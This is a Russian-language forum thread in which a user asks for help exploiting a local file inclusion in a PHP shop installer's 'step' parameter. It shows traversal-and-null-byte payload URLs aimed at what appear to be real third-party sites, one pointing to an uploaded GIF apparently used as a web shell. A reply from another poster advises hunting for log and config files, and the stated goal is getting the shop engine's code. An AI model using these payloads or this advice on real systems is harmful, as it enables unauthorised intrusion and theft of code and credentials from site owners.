я и обрезать пробовал. на каких то серваках работает. на каких то нет. А что может шелл блокировать. Вот пароль ввожу захожу в шелл и дальше не пускает. Просто страница не загружается. И после этого даже сам сайт не загружается. [url]http://www.y-go.cn/shop/install/index.php?step=5/../../../data/upload/shop/member/90/90_04663029716199519.gif%00[/url]

Посмотри если есть желание.

инклуд такой include («step_{$_GET['step']}.php»);

Вот когда я делаю так
[url]http://subdomain.localhost/shop/install/index.php?step=5/../../../shop/install/step_5[/url]

Все работает

Когда так

[url]http://subdomain.localhost/shop/install/index.php?step=5/../../../shop/install/step_5.php[/url]

Выдает ошибку ну это понятно

Warning: include(step_5/../../../shop/install/step_5.php.php) [function.include]: failed to open stream: No such file or directory in X:\home\localhost\subdomain\shop\install\index.php on line 195

Warning: include() [function.include]: Failed opening 'step_5/../../../shop/install/step_5.php.php' for inclusion (include_path='.;C:\php\pear') in X:\home\localhost\subdomain\shop\install\index.php on line 195

Но непонятно вот это. Когда делаю так

[url]http://subdomain.localhost/shop/install/index.php?step=5/../../../shop/install/step_5.php%00[/url]

Выдает такую ошибку

Warning: include() [function.include]: Failed opening 'step_5/../../../shop/install/step_5.php' for inclusion (include_path='.;C:\php\pear') in X:\home\localhost\subdomain\shop\install\index.php on line 195

Все же должно работать. В чем причина

[QUOTE=DrAssault;143921]ну а я тебе что?))) есть стандартные пути к логам и конфигам — ищи там и не забывай про добавляющееся расширение .php прибавляющееся в конец файла его отсеч не помешало бы когда логи читать соберёшься)[/QUOTE]

Можно было бы отсечь я бы картинку заинклудил. Почему то не отсекается. Null-byte вроде из пути убирает расширение но тогда ошибку выдает. А слеши вообще ни как не получается.

[url]http://www.jiancaijie.com/shop/install/index.php?step=5/../../index.php%00[/url]

вот сам посмотри. Там экранизация ошибок отключена только. У меня на локалхосте так ошибку выдает. Может я что то не так делаю. Ну очень мне этот двиг нужен. В свободном доступе только старая версия.

[QUOTE=DrAssault;143917]да обычный локал инклуд, почитай про это lolo/../../../sgfj[/QUOTE]

а что инклудить то логи найти не могу, пароли тоже, картинки ни чего не отображают.

[QUOTE=DrAssault;143915]инклудить?)[/QUOTE]

я понимаю но как? Ошибку выдает так как в переди step_ и в конце .php стоит. Как в таком случае инклудить? Подскажите